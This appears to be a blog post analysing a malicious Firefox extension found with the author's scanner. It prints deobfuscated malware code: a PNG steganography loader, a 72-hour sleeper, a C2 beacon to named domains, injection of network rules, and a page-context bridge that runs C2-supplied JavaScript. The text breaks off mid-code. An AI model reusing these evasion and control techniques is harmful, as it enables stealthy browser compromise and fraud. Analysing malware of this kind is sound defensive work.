Home /
Blog /
Cryptography & Steganography
Malware Analysis: Using browser-xpi-malware-scanner.py to find malware in the wild
I got interested in how malware extensions written for browsers (in this case Firefox) manages to bypass firefox's publication and verification processes and started analyzing a malware extension I had downloaded a few weeks ago when I read an article about 10-20 or so malware extensions with over 100k users were detected on firefox's extension store.
I started writing a script in python which focus is to scan .xpi extension files (which are regular zip archives renamed) which is availible here and installed ~10 extensions on a fresh firefox installation and found an extension containing malware which manages to break free of the extension sandboxing, evades detection by using sleeper and random sampling techniques before sending beacon to C2 server and many , many other interesting malware techniques. I am sure that if i could find this in just 15 minutes of looking through random extensions with few users, there are many MANY more examples
This is coded by a highly skilled coder and gives the attacker total control over the browser including credential stealing, sending commands and affiliate commission hijacking .
Check out the browser-xpi-malware-scanner here: https://github.com/ernos/browser-xpi-malware-scanner
Detailed analysis of malware extension YTMP4 — Download YouTube Videos to MP4
Extension Name: YTMP4 — Download YouTube Videos to MP4
Extension ID: 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4
File:
[email protected]
SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30
Size: 99,547 bytes
Analyzer verdict: CRITICAL RISK (1 CRITICAL · 22 HIGH · 17 MEDIUM · 1 INFO)
Analysis date: April 2, 2026
Live at mozilla extension store as of date of writing this article.
Introduction
This, and many, many other extensions could be prevented simply by adding a check for data after the IEND tag in the PNG file which many malware browser extensions seems to use.
Table of Contents
How browser-xpi-malware-scanner.py Found This Extension
Extension Surface — What It Claims to Do
Steganographic Payload in PNG Icon (CRITICAL)
Unicode Low-Byte Encoding Trick
Decoded Payload: The C2 String Table
72-Hour Sleeper with Random Sampling - Avoiding malicious behaviour during extension validation process
C2 Beacon hidden in another PNG File. Bypasses DOM/DevTools detection
Dynamic declarativeNetRequest Rule Injection - Disguised as an ad-blocker but in reality gives C2 server full control over your HTTP requests
Affiliate Commission Hijacking
Content Script Privilege Escalation Bridge
Arbitrary URL Redirect on Any Domain
CSP Erasure
Complete Attack Chain visualized with ASCII
Indicators of Compromise
What browser-xpi-malware-scanner.py Catches and Why
1. How browser-xpi-malware-scanner.py Found This Extension
Running browser-xpi-malware-scanner.py against the XPI produces the following top-level verdict immediately:
[i] Analyzing XPI: ../../YTMP4 - Download YouTube Videos to MP4.xpi
════════════════════════════════════════════════════════════════════════
XPI ANALYZER — YTMP4 - Download YouTube Videos to MP4.xpi
════════════════════════════════════════════════════════════════════════
Overall verdict: CRITICAL RISK
Findings: 1 CRITICAL 24 HIGH 17 MEDIUM 1 INFO
── CRITICAL ──────────────────────────────────────────────────────────
[CRITICAL] [PNG_APPENDED] icon/logo.png:
1902 bytes appended after PNG IEND (entropy=5.63) — classic stego carrier
CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\…
── HIGH ──────────────────────────────────────────────────────────────
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html — likely used as a covert stego marker or out-of-band key
CODE: class='ncige' in index.html
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html — likely used as a covert stego marker or out-of-band key
CODE: class='7yfuf2' in index.html
[HIGH ] [JS_OBFUSCATION] js/content.js:380
atob() — decoding base64 at runtime (possible payload decode)
CODE: '); fileTip = atob(contentPool[screenValues]).replace(image
[HIGH ] [JS_OBFUSCATION] js/content.js:719
atob() — decoding base64 at runtime (possible payload decode)
CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "
[HIGH ] [JS_OBFUSCATION] js/content.js:719
atob() — decoding base64 at runtime (possible payload decode)
CODE: turn dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "");
[HIGH ] [JS_OBFUSCATION] js/content.js:2364
atob() — decoding base64 at runtime (possible payload decode)
CODE: ol); }); return atob(dataExt); } function getComponentNam
[HIGH ] [JS_OBFUSCATION] js/snapany.com.js:126
decodeURIComponent(escape()) — encoding trick to bypass scanners
CODE: return decodeURIComponent(escape(i.bin.bytesToString(e)))
[HIGH ] [JS_OBFUSCATION] js/ytmp4.co.za.js:114
atob() — decoding base64 at runtime (possible payload decode)
CODE: ") , a = window.atob(t) , s = new Uint8Array(a.length);
[HIGH ] [PERMISSION] manifest.json:
Dangerous permission: '
' — Access to ALL website content — can read/exfiltrate any page data
PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', '']
[HIGH ] [PNG_CHUNK] icon/logo.png:
Unknown PNG chunk type 'eã½' (1894 bytes) — non-standard chunks can hide data
CODE: b'\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\xe2\xa8\xa4\x15\x…
[HIGH ] [SUSPICIOUS_URL] js/index.js:323
External domain contact: i.ytimg.com
URL: https://i.ytimg.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:328
External domain contact: media.savetube.me
URL: https://media.savetube.me
[HIGH ] [SUSPICIOUS_URL] js/index.js:341
External domain contact: rr5---sn-a5mekndz.googlevideo.com
URL: https://rr5---sn-a5mekndz.googlevideo.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:373
External domain contact: rr5---sn-a5mekndz.googlevideo.com
URL: https://rr5---sn-a5mekndz.googlevideo.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:389
External domain contact: cdn305.savetube.su
URL: https://cdn305.savetube.su
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35
External domain contact: y2meta-uk.com
URL: https://y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:38
External domain contact: iframe.y2meta-uk.com
URL: https://iframe.y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:41
External domain contact: y2meta-uk.com
URL: https://y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:44
External domain contact: iframe.y2meta-uk.com
URL: https://iframe.y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:60
External domain contact: api.mp3youtube.cc
URL: https://api.mp3youtube.cc
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:132
External domain contact: api.mp3youtube.cc
URL: https://api.mp3youtube.cc
[HIGH ] [SUSPICIOUS_URL] js/content.js:866
External domain contact: vuejs.org
URL: https://vuejs.org
[HIGH ] [SUSPICIOUS_URL] js/snapany.com.js:65
External domain contact: api.snapany.com
URL: https://api.snapany.com
[HIGH ] [SUSPICIOUS_URL] js/ytmp4.co.za.js:135
External domain contact: media.savetube.vip
URL: https://media.savetube.vip
── MEDIUM ────────────────────────────────────────────────────────────
[MEDIUM ] [JS_OBFUSCATION] js/index.js:73
fetch() call — verify destination is legitimate
CODE: odeName); !val && fetch(logo.src) .then(defaultTip => default
[MEDIUM ] [JS_OBFUSCATION] js/y2meta-uk.com.js:60
fetch() call — verify destination is legitimate
CODE: var n = await fetch('https://api.mp3youtube.cc/v2/converter'
[MEDIUM ] [JS_OBFUSCATION] js/y2meta-uk.com.js:132
fetch() call — verify destination is legitimate
CODE: { let e = await fetch("https://api.mp3youtube.cc/v2/sanity/key
[MEDIUM ] [JS_OBFUSCATION] js/content.js:46
String.fromCharCode — character-code obfuscation
CODE: ) { return String.fromCharCode(screenValues); } function hasConten
[MEDIUM ] [JS_OBFUSCATION] js/content.js:50
fetch() call — verify destination is legitimate
CODE: tPool, dataExt) { fetch(contentPool).then(lineSize => { if (l
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
String.fromCharCode — character-code obfuscation
CODE: !=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|5529
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
String.fromCharCode — character-code obfuscation
CODE: ode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
Long innerHTML assignment — possible HTML injection
CODE: e){a.appendChild(e).innerHTML=" …
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
Long innerHTML assignment — possible HTML injection
CODE: unction(e){return e.innerHTML=" ","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",…
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
Long innerHTML assignment — possible HTML injection
CODE: LDocument("").body).innerHTML="",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"…
[MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:137
String.fromCharCode — character-code obfuscation
CODE: i.push(String.fromCharCode(e[t])); return i.j
[MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:123
unescape() — URL-encoding obfuscation
CODE: i.bin.stringToBytes(unescape(encodeURIComponent(e)))
[MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:65
fetch() call — verify destination is legitimate
CODE: er(e); v = await fetch("https://api.snapany.com/v1/extract",{
[MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:135
fetch() call — verify destination is legitimate
CODE: { let e = await fetch("https://media.savetube.vip/api/random-c
[MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:142
fetch() call — verify destination is legitimate
CODE: Cdn(); v = await fetch("https://".concat(t, "/v2/info"),{ m
[MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:165
fetch() call — verify destination is legitimate
CODE: try { v = await fetch("https://".concat(l, "/download"), {
[MEDIUM ] [PERMISSION] manifest.json:
Dangerous permission: 'downloads' — Can initiate and read downloads
PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', '']
── INFO ──────────────────────────────────────────────────────────────
[INFO ] [METADATA] ../../YTMP4 - Download YouTube Videos to MP4.xpi:
SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30 | size: 99,547 bytes
The single CRITICAL finding — raw bytes after a PNG's IEND marker — is the thread that, when pulled, unravels the entire malware architecture. Every other HIGH-severity finding (runtime atob() calls, suspicious external domains, the permission) reinforces the picture. None of the individual signals is conclusive on its own; their combination is damning.
2. Extension Surface — What It Claims to Do
The extension presents as a YouTube-to-MP4 downloader. The manifest.json is Manifest V3 and looks superficially reasonable:
{
"manifest_version": 3,
"name": "__MSG_extName__",
"version": "1.3.4",
"permissions": ["tabs", "storage", "declarativeNetRequest", "downloads"],
"host_permissions": [""],
"content_scripts": [
{
"js": ["js/content.js"],
"matches": ["https://*/*", "http://*/*"],
"all_frames": true,
"run_at": "document_end"
}
],
"sidebar_action": {
"default_panel": "index.html"
}
}
Two permissions immediately stand out to browser-xpi-malware-scanner.py:
(HIGH) — grants the content script access to every website the user visits
declarativeNetRequest (visible in manifest) — normally used for ad-blocking; here it is the delivery mechanism for C2-controlled network rules
The extension ships with adpoint.json , which blocks three Google ad domains. This is deliberate misdirection: it makes the declarativeNetRequest permission look innocent — "we need it to block ads."
[
{"id": 190001, "action": {"type": "block"},
"condition": {"urlFilter": "||googleads.g.doubleclick.net"}},
{"id": 190002, "action": {"type": "block"},
"condition": {"urlFilter": "||googlesyndication.com"}},
{"id": 190003, "action": {"type": "block"},
"condition": {"urlFilter": "||adtrafficquality.google"}}
]
3. Steganographic Payload in PNG Icon (CRITICAL)
What browser-xpi-malware-scanner.py detected
── CRITICAL ──────────────────────────────────────────────────────────
[CRITICAL] [PNG_APPENDED] icon/logo.png:
1902 bytes appended after PNG IEND (entropy=5.63) — classic stego carrier
CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\…
── HIGH ──────────────────────────────────────────────────────────────
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html — likely used as a covert stego marker or out-of-band key
CODE: class='ncige' in index.html
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html — likely used as a covert stego marker or out-of-band key
CODE: class='7yfuf2' in index.html
The PNG spec requires that a compliant file end with the four-byte sequence IEND followed by an 8-byte footer. Anything written after that is invisible to image decoders but fully readable as raw bytes. In this file, 1,902 bytes begin immediately after IEND.
The appended data starts with the ASCII string ncige . This is not random — it is a deliberately chosen marker that appears verbatim in index.html :
How the payload is extracted ( index.js , lines 63–68)
async function start() {
var yt, logo = $(".logo")[0],
nodeName = logo.classList[1]; // "ncige"
var val = await localGet(nodeName);
!val && fetch(logo.src) // fetch the raw PNG bytes as a text response
.then(r => r.text())
.then((textTag) => {
// split the raw text on "ncige" → everything after the marker is the payload
localSet(nodeName, {[logo.classList[2]]: textTag.split(nodeName)[1]})
// ↑ "7yfuf2" ↑ stored under "7yfuf2" key
});
}
Step by step:
The extension icon logo.png is fetched via fetch() but decoded with .text() , not .blob() — treating binary image data as a UTF-8 string.
The result is split on the string "ncige" , which appears at offset 0 in the appended trailer.
Everything after "ncige" — the 1,897-byte encoded payload — is saved to localStorage["ncige"]["7yfuf2"] .
This only runs once: the !val guard means subsequent installs skip the fetch.
The payload never touches the DOM. It never appears in network DevTools as a suspicious request (it's just the icon loading). It is stored in extension localStorage where casual inspection won't find it. Only browser-xpi-malware-scanner.py's check_png_appended() function, which reads raw PNG bytes and looks for data past IEND , surfaced it.
4. Unicode Low-Byte Encoding Trick
The payload stored in localStorage is not plain text and it is not standard Base64. It uses a custom encoding that is entirely invisible to most static scanners:
Each byte of the original configuration data is encoded as a 3-byte UTF-8 sequence whose Unicode code point has the target byte as its low byte :
Target byte: 0x69 ('i') → 0x3F69 → UTF-8: \xE3\xBD\xA9
Target byte: 0x44 ('D') → 0x3844 → UTF-8: \xE3\xA1\x84
Target byte: 0x61 ('a') → 0x3861 → UTF-8: \xE3\xA1\xA1
Control characters ( < 0x20 ) are inserted as inter-character padding and discarded by the decoder.
The decoder — copyNodeTo() ( content.js , line 165)
function copyNodeTo(screenValues) {
var contentPool = screenValues.split('').map(fileTip => {
if (fileTip.charCodeAt(0) < 32) return ''; // discard padding
var event$1 = fileTip.charCodeAt(0).toString(16),
dataExt = event$1.substr(event$1.length - 2, 2); // take last 2 hex digits
return updImgOn(parseInt(dataExt, 16)) // = String.fromCharCode(low_byte)
});
return contentPool.join('')
}
In plain terms: for each Unicode character with code point > 31, take codepoint & 0xFF as the decoded byte.
Python reproduction
with open("icon/logo.png", "rb") as f:
data = f.read()
# Extract appended trailer
iend_pos = data.rfind(b"IEND")
trailer = data[iend_pos + 8:]
raw_payload = trailer[trailer.find(b"ncige") + 5:]
# Decode as UTF-8 (same as browser .text())
as_str = raw_payload.decode("utf-8", errors="replace")
# Apply copyNodeTo: low byte of each non-control codepoint
decoded = ''.join(
chr(ord(ch) & 0xFF)
for ch in as_str
if ord(ch) >= 32
)
# Split like JS findDefaultVal(…, ";")
buffer1 = decoded.split(';')
This combination — binary stego carrier, Unicode low-byte obfuscation, and obfuscated variable names — means the payload evades:
Signature-based AV scanners (no known-malicious strings in static files)
Manual code review (the only visible code is a seemingly innocent fetch(logo.src) )
Base64 detectors (not Base64)
String entropy scanners (encoded bytes spread across multi-byte Unicode)
5. Decoded Payload: The C2 String Table
After decoding, the payload is a 39-entry semicolon-delimited configuration table. This is buffer$1 , referenced throughout content.js by numeric index. Using named indices, the full table is:
Index
Value
Role
[0]
iDays: $1
Debug log template
[1]
<3ri deng...
Sleep log (Pinyin: "三日等…" = "waiting 3 days...")
[2]
local unavailable, use cloud now...
Fallback log
[3]
skip shuaxin 90% prob.
Random sampling log ("shuaxin" = 刷新, refresh)
[4]
xiao shi: $1 ($2 required)
Hours-elapsed log ("xiao shi" = 小时, hours)
[5]
switch bak sver...
Backup server fallback log
[6]
xhr status: $1
Fetch error log
[7]
skipping bak sver...
Backup server skip log
[8]
ON ERROR
Error log
[9]
jia zai $1
Loading log ("jia zai" = 加载, loading)
[10]
ON EXCEPTION
Exception log
[11]
suc shuaxin
Success log
[12]
sbxing ifrs: $1
Sandbox iframe log
[13]
data":"image
Sentinel for image-type C2 response
[14]
cnvifr
CSS class of iframes to be sandboxed
[15]
disprizhi
Verbose logging enable key ("disprizhi" = 显值, display value?)
[16]
extftsams99ba
localStorage key for URL redirect rules
[17]
svrdpcds
Sentinel string marking C2-sourced image data
[18]
ick.taobao.com/t_js?
Taobao affiliate tracking URL fragment
[19]
ion-click.jd.com
JD.com affiliate tracking URL fragment
[20]
https://$1/ext/load.php?f=svr.png
C2 fetch URL template
[21]
dreamhov.de
C2 backup server domain
[22]
ipaglov.com
C2 primary server domain
[23]
isWho
localStorage flag key
[24]
guaiguai
Special activation mode flag ("guaiguai" = 乖乖, obedient)
[25]
jsonimg=
Prefix to strip from C2 JSON response
[26]
inst.v3
Installation version key
[27]
ifr2top
postMessage event name (iframe→top window)
[28]
var hrl='
JS fragment for redirect script injection
[29]
sandbox
HTML attribute name to neuter iframes
[30]
%cLzyh--
Console log styling prefix
[31]
color:green
Console log CSS (attacker debug output)
[32]
^w{3}\.|:80$
Regex to normalize hostnames
[33]
setTimeout
Used to name-lookup window["setTimeout"]
[34]
exdipmver
Global activation flag: window.exdipmver = 3
[35]
browserCache
Name for the fake chrome.* API injected into pages
[36]
jruldyn
localStorage key that stores the DNR rules payload
[37]
"web(t|b)\w{5,8}"
Regex to strip from decoded DNR rules JSON
[38]
meta[http-equiv^="Content-Security-Policy"]
CSS selector to detect and remove CSP
The Chinese Pinyin throughout the debug strings ( shuaxin , xiao shi , jia zai , guaiguai ) strongly indicates the author is a native Chinese speaker. The two C2 domains — ipaglov.com (primary) and dreamhov.de (backup) — are hardcoded only here, in an encoded form inside a PNG binary, never appearing anywhere in parseable JavaScript or resource files.
6. 72-Hour Sleeper with Random Sampling - Avoiding malicious behaviour during extension validation process
browser-xpi-malware-scanner.py signals
[HIGH ] [JS_OBFUSCATION] js/content.js:380
atob() — decoding base64 at runtime (possible payload decode)
[MEDIUM ] [JS_OBFUSCATION] js/content.js:46
String.fromCharCode — character-code obfuscation
The sleeper mechanism
On first run of content.js on any page, when localStorage["ncige"] does not yet contain an install timestamp, rdnDataPro("ncige") is called:
function rdnDataPro(contentPool) {
pageArr.documentValues.get(null, function(event$1) {
if (event$1[contentPool]) setSelecteds(contentPool, event$1[contentPool])
else {
// texts["inst.v3"] is 0 on first install
// XOR_key = Math.abs(DJB2_hash(extensionId)) % 1000
var dataExt = texts[pageArr.buffer$1[26]] || pageArr.event$1;
setSelecteds(contentPool, dataExt * pageArr.contentPool);
// ↑ stores (0 × XOR_key) = 0, or (Date.now() × XOR_key)
}
});
}
The install time is stored obfuscated: storedValue = Date.now() × XOR_key . To recover it: originalTime = storedValue / XOR_key .
On every subsequent page load, testImgCode checks elapsed time:
function testImgCode(contentPool) {
if (contentPool) {
// contentPool = stored obfuscated timestamp
// pageArr.contentPool = XOR_key derived from extension UUID
var event$1 = (pageArr.event$1 - contentPool / pageArr.contentPool) / 36E5;
// ↑ Date.now() ↑ recoveredInstallTime ↑ ÷3,600,000 = hours
if (event$1 < pageArr.selectedValues * 6) { // selectedValues=12, so 12×6=72
putPages(1); // logs "<3ri deng..." (waiting 3 days)
return; // EXIT — do nothing for 72 hours
}
if (findContentIn(texts[pageArr.buffer$1[15]] == "1" ? 0 : pageArr.selectedValues * 4))
genFileArr(true); // beacon to C2
getContentOn(); // inject privilege bridge
} else {
rdnDataPro(pageArr.docNum); // first run: record install time
}
}
The 10% random sampling
findContentIn calls rdnOrderExt() which introduces the random gate:
function rdnOrderExt() {
// dragImages(0, 200) = Math.random()*200|0 → 0..199
if (dragImages(0, pageArr.screenValues) > 20) {
putPages(3); // logs "skip shuaxin 90% prob."
return false; // SKIP
} else return true; // proceed (≈10% of page loads)
}
function dragImages(event$1, dataExt) {
return (Math.random() * (dataExt - event$1) | 0) + event$1;
}
screenValues = 200 , threshold = 20 → P(proceed) = 21/200 ≈ 10.5% .
The effect: even after the 72-hour window expires, only about 1 in 10 page loads triggers a C2 beacon — making timing-based behavioral analysis far harder.
7. C2 Beacon hidden in another PNG File. Bypasses DOM/DevTools detection
browser-xpi-malware-scanner.py signals
[MEDIUM ] [JS_OBFUSCATION] js/content.js:50
fetch() call — verify destination is legitimate
After the 72-hour sleep, genFileArr sends a beacon to the C2:
function genFileArr(screenValues) {
!screenValues && putPages(5);
// buffer$1[20] = "https://$1/ext/load.php?f=svr.png"
// buffer$1[22] = "ipaglov.com" (primary)
// buffer$1[21] = "dreamhov.de" (backup, used when screenValues=false)
var contentPool = pageArr.buffer$1[20].replace("$1",
(!screenValues) ? pageArr.buffer$1[21] : pageArr.buffer$1[22]
);
// Append cached version parameter for delta updates
contentPool += (texts["formExt"] && !(contentPool.includes("&c=")))
? "&c=" + texts["formExt"] : "";
putPages(9, contentPool); // logs "jia zai https://ipaglov.com/ext/load.php?f=svr.png"
hasContentAll(contentPool, function(dataExt, event$1) {
switch (dataExt) {
case 1: // HTTP 200
// Strip "jsonimg=" prefix if present (buffer$1[25])
if (event$1.includes(pageArr.buffer$1[25] + '{'))
event$1 = event$1.split(pageArr.buffer$1[25])[1];
findOptions(event$1); // parse and store C2 payload
break;
case 0: // HTTP non-200
if (screenValues) {
// 40% chance: try backup server; 60%: log and abort
(dragImages(0, pageArr.screenValues) > 40)
? genFileArr(false)
: putPages(7);
}
break;
case -1: // Network error
setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
break;
}
})
}
Key observations:
The C2 response is disguised as a PNG ( f=svr.png ). A network inspector sees a PNG content-type. The actual response body contains JSON prefixed with jsonimg= . The prefix is stripped before parsing — so the payload is valid JSON wrapped in a fake image content-type.
Delta updates : the &c= parameter lets the server send only changed rules, and enables the server to track which victim is at which payload version.
Primary/backup C2 : ipaglov.com is tried first. On failure, 40% of the time it silently falls back to dreamhov.de .
8. Dynamic declarativeNetRequest Rule Injection - Disguised as an ad-blocker but in reality gives C2 server full control over your HTTP requests
browser-xpi-malware-scanner.py signals
[HIGH ] [PERMISSION] manifest.json:
Dangerous permission: ''
[HIGH ] [JS_OBFUSCATION] js/content.js:380
atob() — decoding base64 at runtime (possible payload decode)
Once the C2 response is parsed, findOptions stores the rule payload:
function findOptions(screenValues) {
// buffer$1[13] = 'data":"image' — check if it looks like a data-URL image response
if (screenValues.length > pageArr.screenValues && screenValues.includes(pageArr.buffer$1[13])) {
var dataExt = JSON.parse(screenValues),
event$1 = dataExt.id,
contentPool = dataExt.image;
contentPool = removeTimeIn(contentPool); // decode obfuscated image data
if (contentPool.includes(pageArr.buffer$1[17])) { // contains "svrdpcds"?
// Store the encoded DNR rules under localStorage["7yfuf2"]
setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
// Store the second payload (URL redirect rules) under localStorage["3i1rfsciu"]
setSelecteds(pageArr.texts, cpyTipStr(event$1 + pageArr.lineSize + contentPool, 1E5));
}
} else {
setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
}
}
pageArr.hasTokenAll("jruldyn") then reads and fires the DNR rules:
hasTokenAll: function(screenValues) {
pageArr.documentValues.get(screenValues, function(contentPool) {
if (contentPool && contentPool[screenValues]) {
// buffer$1[37] = '"web(t|b)\w{5,8}"' — strip these strings from JSON
var image$1 = new RegExp(pageArr.buffer$1[37], 'g');
fileTip = atob(contentPool[screenValues]).replace(image$1, '');
// ↑ base64-decode the stored rules payload
dataExt = JSON.parse(fileTip); // array of declarativeNetRequest rule objects
var screenValues = dataExt.map(event$1 => event$1.id);
chrome.runtime.sendMessage({
dataExt: dataExt, // rules to install
contentPool: screenValues[0] - 1, // remove rules with IDs below this
event$1: screenValues.pop() + pageArr.selectedValues // remove up to this ID
});
}
})
},
In bg.js :
function onMessage(msg, sender, sendResponse) {
if (msg.dataExt) {
chrome.declarativeNetRequest.getDynamicRules().then(e => {
var fileTip = [];
e.map(event$1 => event$1.id).forEach(dataExt => {
if (dataExt > msg.contentPool && dataExt < msg.event$1)
fileTip.push(dataExt);
});
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: fileTip,
addRules: msg.dataExt // ← C2-controlled rules installed silently
});
});
}
}
The C2 server has full, live control over the browser's network request rules. It can add, remove, or modify rules at any time — blocking, redirecting, or modifying any HTTP request the browser makes. The victim cannot see these rules without using the chrome://extensions internals page and specifically inspecting dynamic rules.
9. Affiliate Commission Hijacking
browser-xpi-malware-scanner.py signals
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35
External domain contact: y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:328
External domain contact: media.savetube.me
The decoded buffer$1 string table exposes the campaign's primary target:
[18] "ick.taobao.com/t_js?" ← Taobao affiliate click tracker
[19] "ion-click.jd.com" ← JD.com affiliate click tracker
Taobao and JD.com are two of China's largest e-commerce platforms. Both operate affiliate programmes where a commission is earned for each sale that passes through a tracked referral link. The tracker URL format for Taobao is https://click.taobao.com/t_js?... and for JD.com is https://union-click.jd.com/... .
The declarativeNetRequest rules pushed from the C2 almost certainly implement redirect rules of the form:
{
"id": 200001,
"priority": 2,
"action": {
"type": "redirect",
"redirect": {
"transform": {
"queryTransform": {
"removeParams": ["pid"],
"addOrReplaceParams": [{"key": "pid", "value": ""}]
}
}
}
},
"condition": {
"urlFilter": "||click.taobao.com/t_js?",
"resourceTypes": ["main_frame", "sub_frame"]
}
}
Every product the victim purchases on Taobao or JD.com — including purchases they intended, on legitimate product pages — silently earns the attacker a commission, with no visible indication to the victim. This is a purely passive revenue stream requiring no interaction beyond installation.
10. Content Script Privilege Escalation Bridge
browser-xpi-malware-scanner.py signals
[HIGH ] [JS_OBFUSCATION] js/content.js:719
atob() — decoding base64 at runtime (possible payload decode)
CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "");
This is the most dangerous capability. getContentOn() runs after C2 data is received and texts["logCode"] is populated. It builds a fake chrome.* API bridge that is injected into the page context using an eval -equivalent setTimeout(string) call:
function getContentOn() {
var event$1 = texts["logCode"]; // ← arbitrary JS from C2 server
if (event$1) {
if (event$1.includes(pageArr.buffer$1[17])) { // contains "svrdpcds"?
var val = document.querySelector(pageArr.buffer$1[38]);
// buffer$1[38] = 'meta[http-equiv^="Content-Security-Policy"]'
if (val) return true; // CSP present → abort
lineSize(); // install the message bridge listener
eventCode(); // inject the fake chrome API via eval
}
}
// ...
function eventCode() {
try {
// Builds: "!selectedExt('exdipmver', 'browserCache', ''); "
var screenValues = '!' + selectedExt.toString()
+ '(' + documentValues() + ');' + event$1;
setTimeout(screenValues, 1); // ← eval equivalent
} catch (e) {}
}
function selectedExt(dataExt, docNum, buffer$1) {
// Injected into the PAGE context (not the extension sandbox)
// docNum = "browserCache", buffer$1 = extension UUID
window[docNum] = { // window["browserCache"] = { ... }
runtime: {
id: buffer$1,
sendMessage: (msg, cb) => {
contentPool('secTipAs', msg); // postMessage to content script
lineSize('dragFile', cb); // wait for response
}
},
storage: {
local: {
set: (data, cb) => { contentPool('cpyEventSize', data); if (cb) cb(); },
get: (key, cb) => { contentPool('rmLocSize', key); lineSize('addEventPro', cb); }
},
sync: {
set: (data, cb) => { contentPool('raNoteAs', data); if (cb) cb(); },
get: (key, cb) => { contentPool('newEventAll', key); lineSize('popLine', cb); }
}
}
};
window.exdipmver = dataExt; // window["exdipmver"] = 3
}
}
The lineSize() function installs a window.addEventListener("message", ...) listener in the content script and bridges calls through to the real chrome.* APIs:
function lineSize() {
window.addEventListener('message', (documentValues) => {
if (documentValues.source !== window) return;
switch (documentValues.data.eventCode) {
case 'secTipAs': // runtime.sendMessage
chrome.runtime.sendMessage(documentValues.data.image$1, (imageArray) => {
window.postMessage({eventCode: 'dragFile', imageArray}, '*');
});
break;
case 'cpyEventSize': // storage.local.set
chrome.storage.local.set(documentValues.data.image$1, () => {});
break;
case 'rmLocSize': // storage.local.get
chrome.storage.local.get(documentValues.data.image$1, (imageArray) => {
window.postMessage({eventCode: 'addEventPro', imageArray}, '*');
});
break;
case 'raNoteAs': // storage.sync.set
chrome.storage.sync.set(documentValues.data.image$1, () => {});
break;
case 'newEventAll': // storage.sync.get
chrome.storage.sync.get(documentValues.data.image$1, (imageArray) => {
window.postMessage({eventCode: 'popLine', imageArray}, '*');
});
break;
}
});
}
What this means
Any JavaScript running in any web page the victim visits can now call window["browserCache"].runtime.sendMessage(...) or access window["browserCache"].storage.* — and the request will be transparently fulfilled by the real privileged extension APIs. This breaks the browser's fundamental extension sandbox model.
The C2-supplied logCode JavaScript runs in the page context with this bridge available. With it, the attacker can:
Read and write all extension storage (including session tokens, cached credentials)
Send messages to bg.js to trigger downloads ( Action: "DOWNLOADBEGIN" ) or open popup windows
Send declarativeNetRequest updates via bg.js without needing a new C2 fetch
Execute any operation the extension is permitted for, from any web page, in any tab
11. Arbitrary URL Redirect on Any Domain
If localStorage["extftsams99ba"] is populated from C2, the iframe-level content script branch executes a silent automatic redirect:
if (popColorTo(pageArr.signArray)) {
// popColorTo(window) = (window.top == window.parent) — true in first-level iframes
var eventCode = pageArr.testImgCode("head") || pageArr.testImgCode("body");
var event$1 = location.href,
lineSize = pageArr.buffer$1[16]; // "extftsams99ba"
pageArr.documentValues.get(lineSize, function(contentPool) {
var documentValues = contentPool[lineSize];
